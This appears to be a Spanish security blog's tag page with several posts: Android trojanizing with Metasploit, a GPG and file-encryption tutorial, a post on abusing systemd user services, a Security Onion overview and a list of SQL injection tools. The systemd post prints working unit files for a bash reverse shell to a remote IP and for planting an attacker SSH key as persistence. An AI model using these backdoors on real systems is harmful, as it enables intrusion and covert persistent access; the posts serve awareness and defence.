Mostrando entradas con la etiqueta linux. Mostrar todas las entradas
Mostrando entradas con la etiqueta linux. Mostrar todas las entradas

martes, 13 de diciembre de 2016

Infectando y controlando Android desde la computadora



En el siguiente artículo mostraré brevemente cómo podrías terminar con tu dispositivo móvil troyanizado al descargar aplicaciones de dudosa procedencia o bien no prestar atención a los permisos que solicitan.

Para la demostración que se puede ver en el video de más abajo, utilizo el reconocido framework Metasploit que permite crear fácilmente una aplicación .apk con un módulo de Meterpreter adaptado para Android.

De esta forma, una vez que esta aplicación especial se ejecuta en el dispositivo es posible controlarlo remotamente y realizar diversas acciones como tomar fotografías con la cámara, acceder a todas las fotos y videos, activar el micrófono para escuchar el sonido ambiente, ver todos los mensajes de texto, las llamadas realizadas y mucho más.



Los comandos necesarios para generar el entorno de prueba en Metasploit son los siguientes:








En un ataque real se utilizará una aplicación con funciones similares a las de esta demostración, la instalación se podría realizar teniendo acceso físico al dispositivo o bien por medio de alguna técnica de ingeniería social.

En este último caso los permisos solicitados durante la instalación serían los mínimos necesarios para no levantar sospechas.

Por esta razón es importante evitar descargar aplicaciones de dudosa procedencia y prestar atención a los permisos que solicitan durante la instalación. La forma más segura de descargar aplicaciones es hacerlo desde Google Play, aunque tampoco se debe confiar plenamente en todas las Apps.

El uso de un antivirus es algo recomendable, pero se debe tener en cuenta que no son 100% efectivos y para un atacante no sería complicado evadirlos. En este sentido les recomiendo ver esta conferenciade la DragonJAR Security Conference 2016 donde se explica el funcionamiento básico de los antivirus en Android y cómo se podría camuflar el .apk generado por Metasploit.



lunes, 12 de diciembre de 2016

Cómo cifrar y descifrar archivos y directorios en Linux



Existen muchas maneras de cifrar un archivo o directorio en Linux, pero quizás la más común es usar GNU Privacy Guard (GnuPG o GPG), la implementación libre del estándar OpenPGP. Entre sus características destacan:

- Mejor funcionalidad que PGP y algunas mejoras de seguridad sobre PGP 2.
- Descifra y verifica los mensajes PGP 5, 6 y 7.
- Soporta ElGamal, DSA, RSA, AES, 3DES, Blowfish, Twofish, CAST5, MD5, SHA-1, RIPE-MD-160 y TIGER.
- Fácil implementación de nuevos algoritmos utilizando módulos de extensión.
- Soporta fechas de caducidad de claves y firmas.
- Soporta múltiples idiomas

Hoy vamos a ver algunos ejemplos para cifrar tanto ficheros como directorios con gpg, además de otras alternativas.

Cifrando archivos con una contraseña

En primer lugar para cifrar un fichero con gpg simplemente tendremos que escribir en nuestra consola: 

gpg -c file.to.encrypt

Con la opción "-c" usaremos un cifrado simétrico usando una contraseña o passphrase. El cifrado simétrico por defecto es CAST5 pero podemos usar cualquiera de los disponibles con la opción -cipher-algo. Además, podemos combinar esta opción con -sign para firmar el mensaje, -encrypt para cifrar el mensaje mediante una passphrase o clave privada, o usar ambos simultáneamente.

Luego, para descifrar el fichero simplemente ejecutaremos:

gpg file.to.encrypt.gpg

Cifrando archivos con una clave privada

Antes de nada si queremos usar cifrado simétrico tendremos que crearnos un par de claves (privada/pública):

gpg --gen-key

root@server:/# gpg --gen-key
gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 
Requested keysize is 2048 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 2y
Key expires at lun 10 dic 2018 06:36:08 CET
Is this correct? (y/N) y

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

Real name: vmotos
Email address: hackplayers@ymail.com
Comment: poc
You selected this USER-ID:
    "vmotos (poc) <hackplayers@ymail.com>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
You need a Passphrase to protect your secret key.

Repeat passphrase: 

Durante el proceso de creación de las claves es importante seleccionar una passphraserobusta, la cual se nos pedirá sólo cuando descifremos algo.

Una vez que haya suficientes bytes aleatorios disponibles, se generarán las claves. Pero la disponibilidad de suficientes bytes aleatorios no es una tarea fácil. Por lo que para tener rápidamente la suficiente entropía podemos ejecutar en otra consola:

ls -l /dev/urandom
rngd -r /dev/random

We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.

Not enough random bytes available.  Please do some other work to give
the OS a chance to collect more entropy! (Need 186 more bytes)
...........+++++
.........+++++
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.

Not enough random bytes available.  Please do some other work to give
the OS a chance to collect more entropy! (Need 82 more bytes)
...+++++

Not enough random bytes available.  Please do some other work to give
the OS a chance to collect more entropy! (Need 109 more bytes)
...+++++
gpg: /home/vmotos/.gnupg/trustdb.gpg: trustdb created
gpg: key 593G622F marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
gpg: next trustdb check due at 2018-12-10
pub   2048R/593F628F 2016-12-10 [expires: 2018-12-10]
      Key fingerprint = 1159 84C6 56E2 C9F8 C036  D545 395D AFD1 593F 628F
uid                  vmotos (poc) <hackplayers@ymail.com>
sub   2048R/B132791F 2016-12-10 [expires: 2018-12-10]

Una vez generado el par de claves, para exportar la clave pública ejecutaremos el siguiente comando:

gpg --armor --output public-key.txt --export 'vmotos'

cat public-key.txt 
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1

mQENBFhLlMMBCACp239DyzlvfqOuzaOgZQfuXbCUPXcXuqjow8mrCLLjwN1v7R6c
H+XcH3gezTf4R8SNUZu1LFp39ErANiEiH8C67Yj6AyKIfxJdsQ1EYU3AhQvZgX+9
tSUNLl3+qZB0oA6KggOptrYepCjSemx9VIp2zbrMUN6YG9r0eRRCFqfWlTtkOE4f
3mzWBzxZA1znZb7j2JUhrdFKXn1X64qR3Gu2gs3lkZ1bVAVRubiUXvA/PxGuOxl0
OUNguSGInYHKy3OiHVKkW7GPeNhbKDhhC6V29AnsYp24owVAf1A/qngqPeWk8x7Q
SuUD6Qs6iaD1wNM2wdh/PACho0vByUZf47RJABEBAAG0JHZtb3RvcyAocG9jKSA8
aGFja3BsYXllcnNAeW1haWwuY29tPokBPgQTAQIAKAUCWEuUwwIbAwUJA8JnAAYL
CQgHAwIGFQgCCQoLCBYCAwECHgECF4AACgkQOV2v0Vk/Yo/aqwf/VO/6gz3mcbv8
9k+ggI11ThehvC3W5wG4/jaD2YIlkXNeAyOw8L9ZkflQO4D4OziBJo9j1IUGiIjy
EOgPiwzFcVk6y5cCtT/ItgCT4Wyz30Osr+w52GyEx2hh82d6aGqfqlYYXz5X3LID
NNxuSfgr4DrkAaAlw1uBtLjF671lSm1fYHsSjRaf6YDltDFsJdSbDHt1ZXt2m9F7
TwhShfwq7mxTuVtaPyGXofHWq+kxAeBUz4u/QXlDmXGZ6zoymE4zaqLBwzEHeTzF
CMm7IXKqcU28iCTAghT/EAUjzDlN5u8gSjl2PeOAkgHIIcj+owJMeWO7CGqg2Dy6
DRccAIAjXLkBDQRYS5TDAQgAvRQ78ytZrqrmos+Ics6OCMweZ7UrVIcFsoz3SV6P
j3wn85UOlkCluVbiBySUTw0cpoW13JXbvhY/VBmtdpVdagllKxTkaGdr/njegwtB
QuwceC0Avq2BT233C8OuH2n8z62co3H2oSzI87TcSb5+bLtoZyHrgIYTexNAo9Zp
kGJPix7jwFSC8Hu+hP3UWuJo3gXi/EYksWGlCFJrxVQkNXpXoMnQycCC6nqPRMne
F/HOyS9U5+FdtaVIooalOj7vVzmS9UL5y0Eoc4Yjma36YU9IqDNPprcMdRlbIbwl
9EhQiikX1Wdxvmf47oyua7+1LqjgcCaer+ZBXo3a02n9WwARAQABiQElBBgBAgAP
BQJYS5TDAhsMBQkDwmcAAAoJEDldr9FZP2KP730H/A+TLCD2tNq2gHA9r9SNOitQ
K/5ASdZ2gAsWrWS6FKDHzk3vsfUCJubAd80R/7zxGT9ihy4xKwpQapVhI1pqxNGT
E/upsryMnYw5/yUZbEWTVlD/XvxvsqYCJRyxW3BwTtU47zSMuOJHTqfOY1DGFHga
ixednhfjBCHiTgL1etJ29NioRBtsMadY9D34y9B9k789ZR2jh0ImwxEGW2RmxHLI
9nPuzyyGfQVjnkQos8/s4WM5zBuQx9FxUyCERK2QAt63vie229IQMuWFPpH7nN3G
o46X0BSBsuD0B2qIduSpjVEfPztw5sdclXU/lf05cfZRR+GJrmB7TnPhSCCJoG0=
=SvAM
-----END PGP PUBLIC KEY BLOCK-----

Dicha clave pública tendrá que ser importada en sistema al que enviaremos el archivo cifrado:

gpg --import public-key.txt

gpg --list-keys
/home/vmotos/.gnupg/pubring.gpg
-------------------------------
pub   2048R/593F628F 2016-12-10 [expires: 2018-12-10]
uid                  vmotos (poc) 
sub   2048R/B152791F 2016-12-10 [expires: 2018-12-10]

Finalmente, para cifrar el archivo con cifrado asimétrico escribiremos en la consola:

gpg --encrypt --recipient 'vmotos' archivo.txt

Y obtendremos el dichero archivo.txt.gpg cifrado para enviarlo al servidor donde previamente habíamos enviado e importado la clave pública.

Para descifrarlo:

gpg -d -o ~USERNAME/decrypted ~USERNAME/filename

Y por último, para cifrar múltiples archivos automáticamente podemos usar un sencillo script, como por ejemplo:

#!/bin/bash
line="/home/myself/Whatever/found.txt"
while IFS='' read -r line || [[ -n "$line" ]]; do
    echo "Text read from file: $line"
    gpg2 -e -u mysecretkeyID -r mysecretkeyID "$line"
  done < "$1"

Cifrando directorios

Si queremos cifrar directorios podremos combinar este comando con tar, como se muestra en los siguientes casos:

tar zcvf - /tmp/directory | gpg -c > /tmp/directory.tar.gz.gpg
 

tar c project1.7z project2.7z | gpg --cipher-algo AES256 --compression-algo BZIP2 -co projects.gpg
 

tar -c foldername | gpg2 -e > folder.tar.gpg

O podemos usar gpg-zip. Por ejemplo, ciframos los contenidos del directorio mydocs al fichero test1 con el usuario Bob:

gpg-zip --encrypt --output test1.gpg --gpg-args  -r Bob mydocs

Para listar los contenidos del archivo test1:

gpg-zip --list-archive test1.gpg

Y para descifrarlo:

gpg-zip -d test1.gpg

Otra alternativa bastante popular es ecryptfs. Para instalarlo en debian/ubuntu:

sudo apt-get install ecryptfs-utils

Después crearemos un directorio "Private" de tal manera que cualquier dato que pongamos en el mismo será automáticamente cifrado cuando cerremos sesión y descifrado cuando hagamos login:

ecryptfs-setup-private

Si queremos seleccionar un directorio diferente...

mkdir ~/secret
chmod 700 ~/secret

sudo mount -t ecryptfs ~your_user/secret ~your_user/secret

Ponemos nuestros datos en ~/secret

Para cifrar:

sudo umount ~your_user/secret

Para descifrar:

sudo mount ./secret ./secret -o key=passphrase,ecryptfs_cipher=aes,ecryptfs_key_bytes=16,

ecryptfs_passthrough=no,ecryptfs_enable_filename_crypto=yes

Otras alternativas:

- openssl

Cifrar:

openssl des3 -salt -in unencrypted-data.tar -out encrypted-data.tar.des3

Descrifrar:

openssl des3 -d -salt -in encrypted-data.tar.des3 -out unencrypted-data.tar

Abrir un directorio cifrado:

openssl enc -aes-256-cbc -d -in ~/vault.tar.gz.dat | tar xz; thunar ~/vault

Bloqueando un directorio cifrado:

tar cz vault/ | openssl enc -aes-256-cbc -out ~/vault.tar.gz.dat; rm -r ~/vault

- Aescrypt

Cifrar:

aescrypt -e -p password  file.jpg

Descifrar:

aescrypt -d -p password file.jpg.aes

- mcrypt

Cifrar:

mcrypt "File"

Descifrar:

mcrypt -d "File"

- zip

Comprimir y cifrar:

zip file.zip file
zip -r directory.zip directory
zip --encrypt file.zip.enc file # prompt for password
zip --encrypt -r directory.zip.enc directory # prompt for password

Descomprimir y cifrar:

unzip directory.zip.enc #Beware if any directory is present with the same name as the zipped file, then it would be overwritten. Hence I normally send the contents to another directory.
unzip directory.zip.enc -d directory-new # prompts for password

- ccrypt

Combinándolo con tar:

tar cvvjf - /path/to/files | ccrypt > backup.tar.bz2.cpt

Único comando:

ccrypt backup.tar.bz2

Para automatización, también permite guardar la passkey en un fichero y usarla para cifrar:

ccrypt -k ~/.passkey backup.tar.bz2

- bcrypt
   
bcrypt ~/Desktop/Tecmint/tecmint.txt
bcrypt tecmint.txt.bfe

- 7-zip


$ 7za a -tzip -p -mem=AES256 tecmint.zip tecmint.txt tecmint1.txt
$ 7za e tecmint.zip

- nautilus 

GUI



Fuentes:

http://askubuntu.com/questions/98443/encrypting-files-and-folder-through-terminal
http://unix.stackexchange.com/questions/43846/encrypt-multiple-files-at-once
http://superuser.com/questions/249497/how-to-encrypt-a-file-or-directory-in-linux
http://www.everything-linux-101.com/how-to/how-to-encrypt-and-decrypt-files-folders-in-linux-using-gnupg/
https://www.cyberciti.biz/tips/linux-how-to-encrypt-and-decrypt-files-with-a-password.html
http://superuser.com/questions/370389/how-do-i-password-protect-a-tgz-file-with-tar-in-unix
http://statistics.berkeley.edu/computing/encrypt
http://www.tecmint.com/linux-password-protect-files-with-encryption/

jueves, 1 de diciembre de 2016

Abusando de los servicios de usuario de systemd



No sin cierta controversia, la mayoría de las distribuciones de Linux están adoptando o planeando adoptar el sistema de inicio systemd.

Como muchos ya sabéis, systemd se basa en el manejo de unidades (unit) que básicamente son cualquier recurso que el sistema sabe que puede operar y/o administrar, ya sea un servicio, socket, dispositivo, punto de montaje, etc. 

La forma en la que systemd debe manejar una unidad viene definida en ficheros que por defecto se encuentran en /etc/systemd/system, aunque podrían estar en cualquier otra ubicación como por ejemplo las de usuario que se encuentran normalmente en $HOME/.config/systemd/user o $HOME/.local/share/systemd/user/

Recordemos que systemd ofrece a los usuarios la capacidad de ejecutar una instancia de systemd para gestionar la sesión y los servicios que normalmente se ejecutan como un usuario diferente a root o un usuario especial. Por lo que si cualquier usuario puede interactuar con las unidades ubicadas en sus directorios también cualquiera puede configurar un servicio que se ejecute al inicio del sistema.

Y si ese servicio es... digamos... ¿una shell inversa? Pues como si de una oferta se tratase, tendríamos un 2x1 a explotar: backdoor y persistencia.

Empecemos con el backdoor, tan fácil como usar un dispositivo especial TCP en bash:

[Unit]
Description=Black magic happening, avert your eyes

[Service]
RemainAfterExit=yes
Type=simple
ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.10.100.123/31337; cat <&5 | while read line; do $line 2>&5 >&5; done"

[Install]
WantedBy=default.target

Sólo tenemos que copiar el fichero al dir correspondiente e iniciarlo con: $ systemctl --user start voodoo

Si la máquina del atacante está escuchando en el puerto indicado ($ echo "touch /tmp/systemd-test-backdoor" | nc -l 31337) y se tiene acceso desde el equipo de la víctima obtendremos inmediatamente la shell. Bastante sencillo, ¿verdad?

Pues no menos sencillo es conseguir persistencia. Sólo tenemos que activar el servicio con $ systemctl --user enable voodoo y, cada vez que un usuario se valide, systemd lanzará la shell inversa.

Podéis imaginaros que las posibilidades son muchas y variadas. Si queremos por ejemplo backdoorizar el acceso SSH podemos crear un fichero unit como el siguiente (fijaros que al contrario de lo que se hace normalmente ExecStop ejecuta el código y ExecStart lo limpia):

[Unit]
description=Totally not a virus, trust me I'm a dolphin
[Service]
RemainAfterExit=yes
Type=simple
ExecStop=/bin/bash -c 'mkdir -p $HOME/.ssh && touch $HOME/.ssh/authorized_keys; [ "$(grep "ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH" $HOME/.ssh/authorized_keys)" ] || echo "ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH" >> $HOME/.ssh/authorized_keys'
ExecStart=/bin/bash -c 'sed -i \'/ssh-ed25519 AAAAC3NzbC1lZDI1NTE5AAAAIASFvY7r8vMkbLExcB3rJZSuHUSgPasy+Flwx5XtHTmH/d\' $HOME/.ssh/authorized_keys'

[Install]
WantedBy=default.target

Y esto sólo son PoC... un atacante malintencionado iría aún más lejos y podría por ejemplo detectar cualquier usuario interactivo usando inotify en utmp para hacer menos ruido, encadenar archivos de servicio para detectar cuando otro interactúa, abusar de los aspectos en memoria de los archivos de servicio para ocultarse, secuestrar variables de entorno, obtener info en tiempo de ejecución de /proc, etc.

En definitiva, ¿cuándo fue la última vez que ejecutaste systemctl --user? No es que sea muy novedoso, pero es otra técnica a tener en cuenta y otro lugar que los administradores deben vigilar.

Fuentes:
abusing systemd user services 
systemd/User (Español)

lunes, 21 de marzo de 2016

SECURITY ONION: DISTRIBUCIÓN GNU/LINUX PARA ANÁLISIS DE RED




Muchas veces nos toca analizar el tráfico de red intercambiado entre una máquina e Internet, o incluso comprobar si un equipo tiene alguna variedad de malware que lleve a cabo actividad de red, ya sea para atacar a otras máquinas o para comunicarse con el C&C de una botnet.

En esas situaciones, o simplemente en un despliegue preventivo de sondas IDS, la distribución Linux opensource Security Onion,  de la que hablo en este post, puede servir de gran utilidad. 

Básicamente, incorpora de forma preinstalada, diversas herramientas ampliamente conocidas, un IDS comoSnort y/o Suricata (nos da a elegir qué herramienta deseamos usar), GUIs para monitorizar los eventos de forma automática (SquertSguil), herramientas específicas para análisis de PCAPs (WiresharkNetworkMiner) y herramientas populares de análisis forense de red como (Bro o Xplico). De algunas de ellas hemos hablado ampliamente en SbD en vidas pasadas.



En muchas ocasiones, pensamos que puede resultarnos interesante montar y elegir qué herramientas queremos habilitar para nuestro despliegue de sondas, y generalmente cuando me preguntan o en diversas formaciones, recomiendo hacer siempre una instalación mínima e instalar las herramientas justas y necesarias para cada caso. 

Sin embargo, a veces la configuración de determinadas herramientas como Bro, o la integración con PF_RING, para entornos de grandes necesidades de tráfico, pueden resultar problemáticas, y se agradece tener un punto de partida desde el cuál empezar con varias herramientas ya integradas, pudiendo deshabilitar aquello que no nos interese, dejando el resto.

En estos casos, es cuando Security Onion me ha resultado de gran utilidad, puesto que en pocos minutos ya trae todo lo necesario y con un único wizard se configura la mayoría de los productos. 


Está basada en Ubuntu y viene con entorno gráfico, así como varias herramientas que se pueden gestionar vía web. 

Una de las herramientas más interesantes que trae es ELSA (Enterprise Log Search and Archive), que permite hacer la vida cómoda al analista, de forma gráfica, cuando tiene que interactuar con Bro.


Con esta solución, se puede llegar a hacer un buen NSM (o sistema de gestión de red) permitiendo configurar un nodo como servidor y el resto como sondas, de manera que se pueda consultar toda la información recopilada desde un mismo punto centralizado.   

Por buscarle una pega, en la última versión de Security Onion, han eliminado de la lista de herramientas una de las interfaces para Snort que más me gustan, que es Snorby. Aun así, supongo que puede seguirse instalando manualmente.

Y si ya tengo un despliegue de sondas hecho, pero me interesan algunas de Security Onion ¿Qué hago?

Bueno pues otra de las ventajas que tiene Security Onion, es que no es necesario que instales la distribución entera y partas de ella, sino que puedes incorporar únicamente los repositorios al sources.list de otra distribución basada en Debian/Ubuntu e instales aquellos paquetes que te interesan, o todos juntos.

Para el nuevo curso de Análisis Forense Digital en Profundidad que vamos a dar en Securízame, en el módulo I, en la parte en la que daré pautas sobre cómo construir un Laboratorio Forense, demostraré cómo incorporar y configurar las herramientas de Security Onion en una distribución específica para forense como es Caine, de la que ya hemos hablado en SbD.

Bajo estas líneas, os dejo una lista de videos de Security Onion, en el que hay un How-to de cómo hacer la instalación, configuración y parte de la operación. 

lunes, 22 de febrero de 2016

Herramientas para técnicas automatizadas de “SQL injection”.

“SQL injection” es una técnica de inyección de código intruso que se vale de una vulnerabilidad informática en una aplicación a nivel de validación de entradas para realizar operaciones sobre una base de datos. La vulnerabilidad existe cuando se realiza un incorrecto chequeo o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Se conoce como “SQL injection”, indistintamente del tipo de vulnerabilidad y del método de inyección, al hecho de inyectar código SQL intruso y a la porción de código inyectado.
En este post tratare de las herramientas de automatización de inyección SQL, que yo destacaría. Que son las siguientes:



SQL Power Injection Injector.

Su principal baza es la capacidad de automatizar inyecciones SQL pesadas utilizando para ello múltiples procesos.

Principales características:

Disponible para las plataformas: Windows, Unix y Linux.
Soporta SSL.
Realiza la técnica de inyección ciega de SQL. Comparando las respuestas verdaderas y falsas de las páginas o de los resultados de las cookies y los retrardos de tiempo.
Soporta los motores de bases de datos: Microsoft SQL Server, Oracle, MySQL, Sybase/Adaptive y DB2.
Más información y descarga de SQL Power Injection Injector:
http://www.sqlpowerinjector.com/

Tutorial de SQL Power Injection Injector:
http://www.sqlpowerinjector.com/docs/TutorialSPInjv1.1.pdf

SQLMap.

Es una aplicación de automatización de inyección ciega de SQL, desarrollada en Python. Es capaz de generar una huella digital activa del sistema de administración de bases de datos.

Principales características:

Al estar escrita en Python es multiplataforma.
El apoyo total para MySQL, Oracle, PostgreSQL y el servidor de Microsoft SQL.
Puede identificar también Microsoft Access, DB2, Informix, Sybase e Interbase.
Más información y descargar SQLMap :
http://sqlmap.org/

Documentación modo de empleo SQLMap:
https://github.com/sqlmapproject/sqlmap/wiki



SQLNinja.

Es una herramienta para explotar vulnerabilidades de inyección SQL en aplicaciones web que utilizanMicrosoft SQL Server como su motor de base de datos.

Principales características:

Realiza Fingerprint de servidores SQL.
Realiza ataques de fuerza a bruta a la cuenta del “sa”.
Utiliza técnicas de evasión de IDS/IPS/WAF.
Escanea puertos TCP/UDP del servidor SQL que ataca, para encontrar los puertos permitidos por el cortafuegos de la red y utilizarlos para emplear un reverse Shell.
Más información y descargar de SQLNinja:
http://sqlninja.sourceforge.net/

Manuales de SQLNinja:
http://sqlninja.sourceforge.net/sqlninja-howto.html

WITOOL.

Una sencilla herramienta de inyección SQL que solo está disponible para plataformas Windows. Esta herramienta solo soporta Ms SQL y Oracle, pero es útil para una primera toma de contacto debido a su sencillez.

Más información y descarga de WITOOL:
http://witool.sourceforge.net

The Mole.

Es una herramienta para la explotación automatizada de inyección SQL en páginas Web. Solo necesita una URL vulnerable y una cadena válida en el sitio y puede detectar la vulnerabilidad y explotarla, ya sea mediante el uso de la técnica de unión o una consulta basada en técnicas booleanas.

The Mole utiliza una interfaz basada en comandos, lo que permite al usuario indicar la acción que quiere realizar fácilmente. Con esta herramienta podemos auditar si un sitio web es vulnerable a un ataque de inyección SQL, de una forma rápida y totalmente automatizada.

Características principales de The Mole:

Soporte para MySQL, Postgres, SQL Server y Oracle.
Interfaz de línea de comandos.
Autocompletado para: comandos, argumentos de comandos y tablas y nombres de columnas en bases de datos.
Desarrollado en Python 3.
Explotación de inyección SQL automático utilizando la técnica de unión y técnicas booleanas.
Explotación de inyección SQL ciega automática.
Explota inyecciones SQL en: GET, parámetros de POST y COOKIES.
Soporte para filtros, con el fin de eludir ciertas reglas IPS / IDS utilizando filtros genéricos, y la posibilidad de crear otros nuevos con facilidad.
Explota inyecciones SQL que devuelven datos binarios.
Intérprete de comandos de gran alcance para simplificar su uso.
Más información y descarga de The Mole:
http://themole.sourceforge.net/

Tutorial de uso de The Mole:
http://www.aldeid.com/wiki/TheMole